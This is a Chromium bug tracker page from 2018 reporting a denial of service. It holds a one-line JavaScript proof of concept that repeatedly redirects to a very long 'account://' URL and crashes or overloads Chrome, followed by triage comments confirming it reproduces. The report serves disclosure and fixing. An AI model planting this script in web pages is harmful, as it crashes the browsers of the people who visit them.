New issue
Advanced search Search tips

Issue 853828 link

Starred by 1 user

Issue metadata

Status: Untriaged
Owner: ----
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Windows , Mac
Pri: 2
Type: Bug



Sign in to add a comment

A Dos on chrome with one line code

Reported by psvitais...@gmail.com, Jun 18 2018

Issue description

UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36

Steps to reproduce the problem:
1. make a html website  
2. add this code :<script>
 setInterval(function(){window.location.href='account://'.repeat(100000);},);
 </script>
3. see how your chrome crash

What is the expected behavior?
dos the window to open 100000 accounts then take up to 75% memory

What went wrong?
chrome use 75% cpu power

Did this work before? N/A 

Chrome version: 67.0.3396.87  Channel: stable
OS Version: 10.0
Flash Version:
 
index.html
99 bytes View Download

Comment 1 by wfh@chromium.org, Jun 18 2018

Labels: -Type-Bug-Security -Restrict-View-SecurityTeam Type-Bug
DoS are not considered security bugs.
Labels: Needs-Triage-M67
Components: UI>Browser
Labels: Triaged-ET M-69 Target-69 FoundIn-69 OS-Linux OS-Mac
Status: Untriaged (was: Unconfirmed)
Able to reproduce the issue on Mac 10.13.3, Win-10 and Ubuntu 17.10 using chrome reported version #67.0.3396.87 and latest canary #69.0.3464.0.
This is a non-regression issue as it is observed from M60 old builds. 

Hence, marking it as untriaged to get more inputs from dev team.

Thanks...!!
Labels: Hotlist-DesktopUIChecked Hotlist-DesktopUIToolingRequired
*** Mass UI Triage ***

Sign in to add a comment